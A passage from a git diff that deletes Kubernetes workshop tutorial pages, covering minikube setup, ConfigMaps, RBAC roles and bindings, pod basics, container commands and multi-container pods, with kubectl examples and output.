CLI - logs Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-logs/) | -|36.Docker Compose CLI - ls Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-ls/) | -|37.Docker Compose CLI - Pause/unpause Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-pause/) | -|38.Docker Compose CLI - Port Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-port/) | -|39.Docker Compose CLI - ps Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-port/) | -|40.Docker Compose CLI - pull Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-pull/) | -|41.Docker Compose CLI - push Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-push/) | -|42.Docker Compose CLI - restart Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-restart/)| -|43.Docker Compose CLI - rm Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-rm/) | -|44.Docker Compose CLI - run Command| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-run/) | -|45.Setup local network| [Lab](https://kubedaily.com/docs/0.0.1/local-network/) | -|46.Setup Remote network| [Lab](https://kubedaily.com/docs/0.0.1/remote-network/) | -|48.Newtorking in Docker Compose| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-net/) | -|49.Newtorking in Docker Compose with ngnix| [Lab](https://kubedaily.com/docs/0.0.1/docker-compose-ngnix-net/) | -|50.Docker Wordpress Example| [Lab](https://kubedaily.com/docs/0.0.1/docker-wordpress/) | - -Todo List - -51. -52. -53. - - - - - -What next -- [Container Security Track](https://kubedaily.com/docs/0.0.1/container-security/) -- [Kubernetes Workshop Track](https://kubedaily.com/docs/0.0.1/k8s/) diff --git a/content/en/k8s/_overview.md b/content/en/k8s/_overview.md deleted file mode 100644 index 502e644..0000000 --- a/content/en/k8s/_overview.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: "Kubernetes" -url: "k8s/overview" -aliases: -- "/k8s" ---- - -### Table of Content - - -| Title | Link | -| --------- | ------- | -|1.Pre-requisit for this lab|[lab](https://kubedaily.com/k8s/kubernetes-setup/)| -|2.Basics of Pod|[lab](https://kubedaily.com/docs/0.0.1/k8s/basics-of-pods/)| -|3.Create POD with Command and Arguments|[lab](https://kubedaily.com/docs/0.0.1/k8s/pod-command-args/)| -|4.Multi-Container Pods|[lab](https://kubedaily.com/docs/0.0.1/k8s/multipod-container/)| -|5.Deployments & replication|[lab](https://kubedaily.com/docs/0.0.1/k8s/deployment-replicaset/)| -|6.Labels & Selectors|[lab](https://kubedaily.com/docs/0.0.1/k8s/labels-selectors/)| -|7.Kubernetes Service|[lab](https://kubedaily.com/docs/0.0.1/k8s/services/)| -|8.Service Type: NodePort,ClusterIP,LoadBalancer|[lab](https://kubedaily.com/docs/0.0.1/k8s/service-type/)| -|9.Ingress Controller|[lab](https://kubedaily.com/docs/0.0.1/k8s/ingress-controller/)| -|10.ConfigMap|[lab](https://kubedaily.com/docs/0.0.1/k8s/configmap/)| - - - -What next >> - -[kubernetes Security]
-[helm workshop]
-[Service Mesh]
\ No newline at end of file diff --git a/content/en/k8s/c1.Kubernetes-Setup.md b/content/en/k8s/c1.Kubernetes-Setup.md deleted file mode 100644 index a61eb74..0000000 --- a/content/en/k8s/c1.Kubernetes-Setup.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: " Pre-requisit for this lab " -description: " Multiple Way To creat Kubernetes cluster " -slug: "Pre-requisit for this lab" ---- - - -### Install Minikube - -```sh -https://minikube.sigs.k8s.io/docs/start/ -// i'm using mac so my installation step will be diffeent from you folks - -curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64 -sudo install minikube-darwin-amd64 /usr/local/bin/minikube - - -``` - - -### ceate cluster using minikube - - -```sh -➜ k8sworkshop git:(main) ✗ minikube start -😄 minikube v1.28.0 on Darwin 13.2.1 (arm64) -✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... -🔄 Restarting existing docker container for "minikube" ... -🐳 Preparing Kubernetes v1.25.3 on Docker 20.10.20 ... -🔎 Verifying Kubernetes components... - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 -🌟 Enabled addons: storage-provisioner, default-storageclass -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default - -``` -### check it out cluster information - -``` - -➜ k8sworkshop git:(main) ✗ kubectl cluster-info -Kubernetes control plane is running at https://127.0.0.1:51289 -CoreDNS is running at https://127.0.0.1:51289/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy - -To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'. -➜ k8sworkshop git:(main) ✗ - -``` - - -#### some basic commands to understand minikube - -```shell -minikube start -``` - -#### Access the Kubernetes dashboard running within the minikube cluster: - -```shell -minikube dashboard -``` - -#### Once started, you can interact with your cluster using `kubectl`, just like any other Kubernetes cluster. For instance, starting a server: - -```shell -kubectl create deployment hello-minikube --image=kicbase/echo-server:1.0 -``` - -#### Exposing a service as a NodePort - -```shell -kubectl expose deployment hello-minikube --type=NodePort --port=8080 -``` - -#### minikube makes it easy to open this exposed endpoint in your browser: - -```shell -minikube service hello-minikube -``` - -#### Upgrade your cluster: - -```shell -minikube start --kubernetes-version=latest -``` - - -```shell -minikube start -p cluster2 -``` - -#### Stop your local cluster: - -```shell -minikube stop -``` - -#### Delete your local cluster: - -```shell -minikube delete -``` - -#### Delete all local clusters and profiles - -```shell -minikube delete --all -``` diff --git a/content/en/k8s/c10.ConfigMap.md b/content/en/k8s/c10.ConfigMap.md deleted file mode 100644 index 736ca6a..0000000 --- a/content/en/k8s/c10.ConfigMap.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: "ConfigMap " -description: " kubernetes Config " -slug: "ConfigMap" ---- - - -#### craete index-html-configmap.yaml with following content - -```yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: index-html-configmap - namespace: default -data: - index.html: | - -

Welcome

-
-

Hi! This is a configmap Index file

- -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f index-html-configmap.yaml -configmap/index-html-configmap created - -``` - -#### craete nginx.yaml with following content - - -```yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx-deployment - namespace: default -spec: - selector: - matchLabels: - app: nginx - replicas: 2 - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:latest - ports: - - containerPort: 80 - volumeMounts: - - name: nginx-index-file - mountPath: /usr/share/nginx/html/ - volumes: - - name: nginx-index-file - configMap: - name: index-html-configmap - -``` - - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f ngnix.yaml -deployment.apps/nginx-deployment created -``` - -#### craete nginx-service.yaml with following content - - -```yaml - -apiVersion: v1 -kind: Service -metadata: - name: nginx-service - namespace: default -spec: - selector: - app: nginx - type: NodePort - ports: - - port: 80 - nodePort: 32000 - targetPort: 80 - - - ``` - - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f nginx-service.yaml -service/nginx-service created -``` - - -```sh -➜ k8s101 git:(main) ✗ kubectl get svc -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -kubernetes ClusterIP 10.96.0.1 443/TCP 14h -nginx-service NodePort 10.105.136.166 80:32000/TCP 49s -web NodePort 10.100.132.142 8080:30646/TCP 123m -web2 NodePort 10.98.210.102 8080:31990/TCP 61m -➜ k8s101 git:(main) ✗ -``` - -```sh -➜ k8s101 git:(main) ✗ minikube service nginx-service -|-----------|---------------|-------------|---------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|---------------|-------------|---------------------------| -| default | nginx-service | 80 | http://192.168.49.2:32000 | -|-----------|---------------|-------------|---------------------------| -🏃 Starting tunnel for service nginx-service. -|-----------|---------------|-------------|------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|---------------|-------------|------------------------| -| default | nginx-service | | http://127.0.0.1:53149 | -|-----------|---------------|-------------|------------------------| -🎉 Opening service default/nginx-service in default browser... -❗ Because you are using a Docker driver on darwin, the terminal needs to be open to run it. -``` - - -#### you will see output in browser -``` -Welcome - - -Hi! This is a configmap Index file -``` - - diff --git a/content/en/k8s/c11.RBAC.md b/content/en/k8s/c11.RBAC.md deleted file mode 100644 index 831d874..0000000 --- a/content/en/k8s/c11.RBAC.md +++ /dev/null @@ -1,330 +0,0 @@ ---- -title: "RBAC " -description: " kubernetes Config " -slug: "RBAC" ---- - -#### Role Based Access Control (RBAC) - -Role-Based Access Control (RBAC) in Kubernetes is a method of regulating access to computer or network resources based on the roles of individual users within an enterprise. In the context of Kubernetes, RBAC allows you to control who has access to the Kubernetes API and what they can do with those resources - - - Rules: A rule is a set of operations (verbs) that can be carried out on a group of resources which belong to different API Groups. - -##### kubectl explain role.rules - - ``` - kubectl explain role.rules -GROUP: rbac.authorization.k8s.io -KIND: Role -VERSION: v1 - -FIELD: rules <[]PolicyRule> - -DESCRIPTION: - Rules holds all the PolicyRules for this Role - PolicyRule holds information that describes a policy rule, but does not - contain information about who the rule applies to or which namespace the - rule applies to. - -FIELDS: - apiGroups <[]string> - APIGroups is the name of the APIGroup that contains the resources. If - multiple API groups are specified, any action requested against one of the - enumerated resources in any API group will be allowed. "" represents the - core API group and "*" represents all API groups. - - nonResourceURLs <[]string> - NonResourceURLs is a set of partial urls that a user should have access to. - *s are allowed, but only as the full, final step in the path Since - non-resource URLs are not namespaced, this field is only applicable for - ClusterRoles referenced from a ClusterRoleBinding. Rules can either apply to - API resources (such as "pods" or "secrets") or non-resource URL paths (such - as "/api"), but not both. - - resourceNames <[]string> - ResourceNames is an optional white list of names that the rule applies to. - An empty set means that everything is allowed. - - resources <[]string> - Resources is a list of resources this rule applies to. '*' represents all - resources. - - verbs <[]string> -required- - Verbs is a list of Verbs that apply to ALL the ResourceKinds contained in - this rule. '*' represents all verbs. - - ``` - - - Roles and ClusterRoles: Both consist of rules. The difference between a Role and a ClusterRole is the scope: in a Role, the rules are applicable to a single namespace, whereas a ClusterRole is cluster-wide, so the rules are applicable to more than one namespace. ClusterRoles can define rules for cluster-scoped resources (such as nodes) as well. Both Roles and ClusterRoles are mapped as API Resources inside our cluster. - - -##### kubectl explain role - ``` -kubernetesdaily.github.io git:(main) ✗ kubectl explain role -GROUP: rbac.authorization.k8s.io -KIND: Role -VERSION: v1 - -DESCRIPTION: - Role is a namespaced, logical grouping of PolicyRules that can be referenced - as a unit by a RoleBinding. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an object. - Servers should convert recognized schemas to the latest internal value, and - may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. - - rules <[]PolicyRule> - Rules holds all the PolicyRules for this Role - - ``` - -##### kubectl explain clusterroles - -``` -kubernetesdaily.github.io git:(main) ✗ kubectl explain clusterroles -GROUP: rbac.authorization.k8s.io -KIND: ClusterRole -VERSION: v1 - -DESCRIPTION: - ClusterRole is a cluster level, logical grouping of PolicyRules that can be - referenced as a unit by a RoleBinding or ClusterRoleBinding. - -FIELDS: - aggregationRule - AggregationRule is an optional field that describes how to build the Rules - for this ClusterRole. If AggregationRule is set, then the Rules are - controller managed and direct changes to Rules will be stomped by the - controller. - - apiVersion - APIVersion defines the versioned schema of this representation of an object. - Servers should convert recognized schemas to the latest internal value, and - may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. - - rules <[]PolicyRule> - Rules holds all the PolicyRules for this ClusterRole -``` - - - - Subjects: These correspond to the entity that attempts an operation in the cluster. There are three types of subjects: - - - User Accounts: These are global, and meant for humans or processes living outside the cluster. There is no associated resource API Object in the Kubernetes cluster. - - - Service Accounts: This kind of account is namespaced and meant for intra-cluster processes running inside pods, which want to authenticate against the API. - - - Groups: This is used for referring to multiple accounts. There are some groups created by default such as cluster-admin (explained in later sections). - - - RoleBindings and ClusterRoleBindings: Just as the names imply, these bind subjects to roles (i.e. the operations a given user can perform). As for Roles and ClusterRoles, the difference lies in the scope: a RoleBinding will make the rules effective inside a namespace, whereas a ClusterRoleBinding will make the rules effective in all namespaces. - -#### kubectl explain rolebinding - - ``` - ✗ kubectl explain rolebindings -GROUP: rbac.authorization.k8s.io -KIND: RoleBinding -VERSION: v1 - -DESCRIPTION: - RoleBinding references a role, but does not contain it. It can reference a - Role in the same namespace or a ClusterRole in the global namespace. It adds - who information via Subjects and namespace information by which namespace it - exists in. RoleBindings in a given namespace only have effect in that - namespace. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an object. - Servers should convert recognized schemas to the latest internal value, and - may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. - - roleRef -required- - RoleRef can reference a Role in the current namespace or a ClusterRole in - the global namespace. If the RoleRef cannot be resolved, the Authorizer must - return an error. This field is immutable. - - subjects <[]Subject> - Subjects holds references to the objects the role applies to. - -``` -#### kubectl explain clusterrolebindings - -``` -kubectl explain clusterrolebindings -GROUP: rbac.authorization.k8s.io -KIND: ClusterRoleBinding -VERSION: v1 - -DESCRIPTION: - ClusterRoleBinding references a ClusterRole, but not contain it. It can - reference a ClusterRole in the global namespace, and adds who information - via Subject. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an object. - Servers should convert recognized schemas to the latest internal value, and - may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. - - roleRef -required- - RoleRef can only reference a ClusterRole in the global namespace. If the - RoleRef cannot be resolved, the Authorizer must return an error. This field - is immutable. - - subjects <[]Subject> - Subjects holds references to the objects the role applies to. - -``` - -With Minikube, you can experiment with RBAC in a local Kubernetes setup. Minikube comes with RBAC enabled by default if you start it with a Kubernetes version that supports RBAC - -``` - ✗ minikube start -😄 minikube v1.30.1 on Darwin 14.1.1 (arm64) -🎉 minikube 1.32.0 is available! Download it: https://github.com/kubernetes/minikube/releases/tag/v1.32.0 -💡 To disable this notice, run: 'minikube config set WantUpdateNotification false' - -✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... -🔄 Restarting existing docker container for "minikube" ... -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... -🔗 Configuring Flannel (Container Networking Interface) ... -🌟 Enabled addons: -🔎 Verifying Kubernetes components... -👍 Starting worker node minikube-m02 in cluster minikube -🚜 Pulling base image ... -🔄 Restarting existing docker container for "minikube-m02" ... -🌐 Found network options: - ▪ NO_PROXY=192.168.49.2 -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... - ▪ env NO_PROXY=192.168.49.2 -🔎 Verifying Kubernetes components... -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default -``` - -#### Create new namespace - -Execute the kubectl create command to create the namespace (as the admin user): - -``` -kubernetesdaily.github.io git:(main) ✗ kubectl create namespace kubedaily -namespace/kubedaily created -``` - -#### Create the user credentials - -genarete the user credentials using openssl command - -``` - openssl genrsa -out kubedaily.key 2048 -Generating RSA private key, 2048 bit long modulus -................................................................+++++ -.............................................................................+++++ -e is 65537 (0x10001) - -``` -Create a certificate sign request using openssl command - -``` - kubernetesdaily.github.io git:(main) ✗ openssl req -new -key kubedaily.key -out kubedaily.csr -subj "/CN=kubedaily/O=sangam" -``` - -``` -➜ .minikube ls -addons ca.pem certs key.pem machine_client.lock proxy-client-ca.crt -ca.crt cache config last_update_check machines proxy-client-ca.key -ca.key cert.pem files logs profiles tunnels.json -``` - -``` - kubernetesdaily.github.io git:(main) ✗ kubectl config set-credentials kubedaily --client-certificate=/.certs/kubedaily.crt --client-key=/.certs/kubedaily.key -User "kubedaily" set. -kubectl config set-context kubedaily-context --cluster=minikube --namespace=kubedaily --user=sangam -``` -Now you should get an access denied error when using the kubectl CLI with this configuration file. This is expected as we have not defined any permitted operations for this user. - -``` - kubectl --context=kubedaily-context get pods -``` - -#### Create the role for managing deployments - -``` -kind: Role -apiVersion: rbac.authorization.k8s.io/v1 -metadata: - namespace: kubedaily - name: sangam -rules: -- apiGroups: ["", "extensions", "apps"] - resources: ["deployments", "replicasets", "pods"] - verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # You can also use ["*"] - -``` - -#### Create the role binding - -``` -kind: RoleBinding -apiVersion: rbac.authorization.k8s.io/v1 -metadata: - name: sangam-binding - namespace: kubedaily -subjects: -- kind: User - name: sangam - apiGroup: "" -roleRef: - kind: Role - name: sangam - apiGroup: "" - -``` - -``` -➜ kubernetesdaily.github.io git:(main) ✗ kubectl create -f rolebinding-deployment-manager.yaml -rolebinding.rbac.authorization.k8s.io/sangam-binding created -``` \ No newline at end of file diff --git a/content/en/k8s/c2.Basics-of-pods.md b/content/en/k8s/c2.Basics-of-pods.md deleted file mode 100644 index e633b27..0000000 --- a/content/en/k8s/c2.Basics-of-pods.md +++ /dev/null @@ -1,310 +0,0 @@ ---- -title: " Basics of Pod " -description: " Kubectl explain pod " -slug: "Basics-of-Pod" ---- - - -#### 0. What is POD learn via Kubectl Explain - - -```sh -kubectl explain pod -KIND: Pod -VERSION: v1 - -DESCRIPTION: - Pod is a collection of containers that can run on a host. This resource is - created by clients and scheduled onto hosts. - -FIELDS: - apiVersion - APIVersion defines the versioned schema of this representation of an - object. Servers should convert recognized schemas to the latest internal - value, and may reject unrecognized values. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources - - kind - Kind is a string value representing the REST resource this object - represents. Servers may infer this from the endpoint the client submits - requests to. Cannot be updated. In CamelCase. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds - - metadata - Standard object's metadata. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata - - spec - Specification of the desired behavior of the pod. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - - status - Most recently observed status of the pod. This data may not be up to date. - Populated by the system. Read-only. More info: - https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status - - -``` - - -#### 1. Create a Pod from Nginx Image - -```sh -➜ k8sworkshop git:(main) ✗ kubectl run nginx --image=nginx - -pod/nginx created - -➜ k8sworkshop git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -nginx 1/1 Running 0 25s - -``` -#### 2. Create a Pod and Expose a Port -```sh -➜ k8sworkshop git:(main) ✗ kubectl run nginx-port --image=nginx --port=80 -pod/nginx-port created -➜ k8sworkshop git:(main) ✗ kubectl describe pod nginx-port -Name: nginx-port -Namespace: default -Priority: 0 -Service Account: default -Node: minikube/192.168.49.2 -Start Time: Mon, 06 Mar 2023 01:44:56 +0530 -Labels: run=nginx-port -Annotations: -Status: Running -IP: 172.17.0.4 -IPs: - IP: 172.17.0.4 -Containers: - nginx-port: - Container ID: docker://8260b161cc305d1cf4060dff9edbd0b05e86d9c4fc441b5a0a51b9dbe35403d3 - Image: nginx - Image ID: docker-pullable://nginx@sha256:aa0afebbb3cfa473099a62c4b32e9b3fb73ed23f2a75a65ce1d4b4f55a5c2ef2 - Port: 80/TCP - Host Port: 0/TCP - State: Running - Started: Mon, 06 Mar 2023 01:44:59 +0530 - Ready: True - Restart Count: 0 - Environment: - Mounts: - /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ffpjx (ro) -Conditions: - Type Status - Initialized True - Ready True - ContainersReady True - PodScheduled True -Volumes: - kube-api-access-ffpjx: - Type: Projected (a volume that contains injected data from multiple sources) - TokenExpirationSeconds: 3607 - ConfigMapName: kube-root-ca.crt - ConfigMapOptional: - DownwardAPI: true -QoS Class: BestEffort -Node-Selectors: -Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s - node.kubernetes.io/unreachable:NoExecute op=Exists for 300s -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal Scheduled 20s default-scheduler Successfully assigned default/nginx-port to minikube - Normal Pulling 20s kubelet Pulling image "nginx" - Normal Pulled 18s kubelet Successfully pulled image "nginx" in 2.236192917s - Normal Created 18s kubelet Created container nginx-port - Normal Started 18s kubelet Started container nginx-port -➜ k8sworkshop git:(main) ✗ -``` - - -#### 3. Output the Manifest File - -```sh -kubectl run nginx --image=nginx --port=80 --dry-run=client -o yaml -apiVersion: v1 -kind: Pod -metadata: - creationTimestamp: null - labels: - run: nginx - name: nginx -spec: - containers: - - image: nginx - name: nginx - ports: - - containerPort: 80 - resources: {} - dnsPolicy: ClusterFirst - restartPolicy: Always -status: {} -``` -alternative - - -```sh - kubectl run nginx --image=nginx --port=80 --dry-run=client -o yaml > ngnix.yaml -➜ k8sworkshop git:(main) ✗ ls -LICENSE context data ngnix.yaml package.json styles -README.md course.json lessons node_modules pages workshop -components csv next.config.js package-lock.json public -➜ k8sworkshop git:(main) ✗ cat ngnix.yaml -apiVersion: v1 -kind: Pod -metadata: - creationTimestamp: null - labels: - run: nginx - name: nginx -spec: - containers: - - image: nginx - name: nginx - ports: - - containerPort: 80 - resources: {} - dnsPolicy: ClusterFirst - restartPolicy: Always -status: {} -➜ k8sworkshop git:(main) ✗ - -``` - -#### 4. Delete PODS -```sh - k8sworkshop git:(main) ✗ kubectl delete pod nginx -pod "nginx" deleted - -➜ k8sworkshop git:(main) ✗ kubectl delete pod --all -pod "nginx-port" deleted -``` - - -#### List the Worker Node -```sh -kubectl get nodes -``` -#### Create a new POD from Nginx Image -```sh -kubectl run mywebserver --image=nginx -``` -#### List the PODS that are currently running. -```sh -kubectl get pods -``` -#### Connect inside the POD -```sh -kubectl exec -it mywebserver -- bash -``` -You can come out of the POD with CTRL+D -```sh -kubectl exec -it mywebserver -- ls -l / -``` -#### Delete the POD -```sh -kubectl delete pod mywebserver -``` - -##### pod-expose-port.yaml - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: nginx-pod -spec: - containers: - - image: nginx - name: democontainer - ports: - - containerPort: 8080 -``` -```sh -kubectl apply -f pod-expose-port.yaml -``` -```sh -kubectl get pods - -kubectl describe pod nginx-pod - -➜ k8sworkshop git:(main) ✗ kubectl explain pod.spec.containers.ports -KIND: Pod -VERSION: v1 - -RESOURCE: ports <[]Object> - -DESCRIPTION: - List of ports to expose from the container. Not specifying a port here DOES - NOT prevent that port from being exposed. Any port which is listening on - the default "0.0.0.0" address inside a container will be accessible from - the network. Modifying this array with strategic merge patch may corrupt - the data. For more information See - https://github.com/kubernetes/kubernetes/issues/108255. Cannot be updated. - - ContainerPort represents a network port in a single container. - -FIELDS: - containerPort -required- - Number of port to expose on the pod's IP address. This must be a valid port - number, 0 < x < 65536. - - hostIP - What host IP to bind the external port to. - - hostPort - Number of port to expose on the host. If specified, this must be a valid - port number, 0 < x < 65536. If HostNetwork is specified, this must match - ContainerPort. Most containers do not need this. - - name - If specified, this must be an IANA_SVC_NAME and unique within the pod. Each - named port in a pod must have a unique name. Name for the port that can be - referred to by services. - - protocol - Protocol for port. Must be UDP, TCP, or SCTP. Defaults to "TCP". - Possible enum values: - - `"SCTP"` is the SCTP protocol. - - `"TCP"` is the TCP protocol. - - `"UDP"` is the UDP protocol. - -➜ k8sworkshop git:(main) ✗ -``` - - -### Finding a Pod’s Cluster IP - -```sh -k8s101 git:(main) ✗ kubectl get pod -o wide -NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES -nginx-pod 1/1 Running 0 95s 172.17.0.7 minikube -nginx-port 1/1 Running 0 108m 172.17.0.3 minikube - -``` - -### Finding a Service’s IP - -We can find a Service IP using kubectl as well. In this case we will list all services in all namespaces: - -```sh -➜ k8s101 git:(main) ✗ kubectl get service --all-namespaces - -NAMESPACE NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -default kubernetes ClusterIP 10.96.0.1 443/TCP 114d -kube-system kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 114d -kube-system metrics-server ClusterIP 10.106.73.183 443/TCP 36m -kubernetes-dashboard dashboard-metrics-scraper ClusterIP 10.109.38.100 8000/TCP 110m -kubernetes-dashboard kubernetes-dashboard ClusterIP 10.108.78.110 80/TCP 110m -➜ k8s101 git:(main) ✗ - -``` - - -```sh -➜ k8s101 git:(main) ✗ kubectl get pod nginx-pod --template='{{(index (index .spec.containers 0).ports 0).containerPort}}{{"\n"}}' -8080 - -``` - diff --git a/content/en/k8s/c3.pod-command-args.md b/content/en/k8s/c3.pod-command-args.md deleted file mode 100644 index 24eae37..0000000 --- a/content/en/k8s/c3.pod-command-args.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: "Create POD with Command and Arguments " -description: " Kubectl explain pod " -slug: "Create-POD-with-Command-and-Arguments" ---- - -#### kubectl explain pods.spec.containers.command - -```sh -k8s101 git:(main) ✗ kubectl explain pods.spec.containers.command -KIND: Pod -VERSION: v1 - -FIELD: command <[]string> - -DESCRIPTION: - Entrypoint array. Not executed within a shell. The container image's - ENTRYPOINT is used if this is not provided. Variable references $(VAR_NAME) - are expanded using the container's environment. If a variable cannot be - resolved, the reference in the input string will be unchanged. Double $$ - are reduced to a single $, which allows for escaping the $(VAR_NAME) - syntax: i.e. "$$(VAR_NAME)" will produce the string literal "$(VAR_NAME)". - Escaped references will never be expanded, regardless of whether the - variable exists or not. Cannot be updated. More info: - https://kubernetes.io/docs/tasks/inject-data-application/define-command-argument-container/#running-a-command-in-a-shell -➜ k8s101 git:(main) ✗ -``` - -#### Create POD without any commands or arguments. -args in Kubernetes overrides CMD in the original docker image. -command in Kubernetes overrides ENTRYPOINT in the original docker image. - -##### commands.yaml - -```yml -apiVersion: v1 -kind: Pod -metadata: - name: command -spec: - containers: - - image: busybox - name: count -``` -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f commands.yaml -pod/command created -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -command 0/1 CrashLoopBackOff 1 (5s ago) 15s -nginx-pod 1/1 Running 0 50m -nginx-port 1/1 Running 0 156m -webserver 1/1 Running 0 34m -➜ k8s101 git:(main) ✗ kubectl exec -it command -- bash - -``` - -#### Create POD with Command - -Modify the POD contents to the following one. - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: command2 -spec: - containers: - - image: busybox - name: count - command: ["sleep","3600"] -``` -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f commands.yaml -pod/command2 created -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -command 1/1 Running 0 67s -➜ k8s101 git:(main) ✗ kubectl exec -it command2 -- sh -/ # ls -bin dev etc home lib lib64 proc root sys tmp usr var -/ # -``` - -#### Create POD with Command and Arguments - -Modify the YAML file contents to the following one. - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: command3 -spec: - containers: - - image: busybox - name: count - command: ["sleep"] - args: ["3600"] -``` -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f commands.yaml -pod/command3 created -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -command 1/1 Running 0 3m18s -command2 1/1 Running 0 2m34s -command3 1/1 Running 0 14s -``` - -#### Create POD with Arguments - -Modify the YAML file contents to the following one. - -```sh -apiVersion: v1 -kind: Pod -metadata: - name: command3 -spec: - containers: - - name: command3 - image: debian - command: ["printenv"] - args: ["HOSTNAME", "KUBERNETES_PORT"] -``` -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f commands.yaml -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -➜ k8s101 git:(main) ✗ kubectl logs command3 -command3 -tcp://10.96.0.1:443 -``` diff --git a/content/en/k8s/c4.multipod-container.md b/content/en/k8s/c4.multipod-container.md deleted file mode 100644 index 7dacfb8..0000000 --- a/content/en/k8s/c4.multipod-container.md +++ /dev/null @@ -1,217 +0,0 @@ ---- -title: "Multi-Container Pods" -description: " Use Cases for Multi-Container Pods " -slug: "Multi-Container-Pods" ---- - - -##### Why does Kubernetes allow more than one container in a Pod -- Containers in a Pod runs on a "logical host": they use the same network namespace (same IP address and port space), they can use shared volumes -- using several containers for an application is simpler to use, more transparent, and allows decoupling software dependencies - -##### Use Cases for Multi-Container Pods - -The primary purpose of a multi-container Pod is to support co-located, co-managed helper processes for a main program - -Sidecar containers: -"help" the main container. For example, log or data change watchers, monitoring adapters, and so on. -A log watcher, for example, can be built once by a different team and reused across different applications -Another example of a sidecar container is a file or data loader that generates data for the main container. - -#### Communication Between Containers in a Pod - -Shared volumes: -you can use a shared Kubernetes Volume as a simple and efficient way to share data between containers in a Pod. -Volumes enables data to survive container restarts. It has the same lifetime as a Pod. -it is sufficient to use a directory on the host that is shared with all containers within a Pod - -- A standard use case for a multi-container Pod with shared Volume is when one container writes to the shared directory (logs or other files), and the other container reads from the shared directory -- The second container uses Debian image 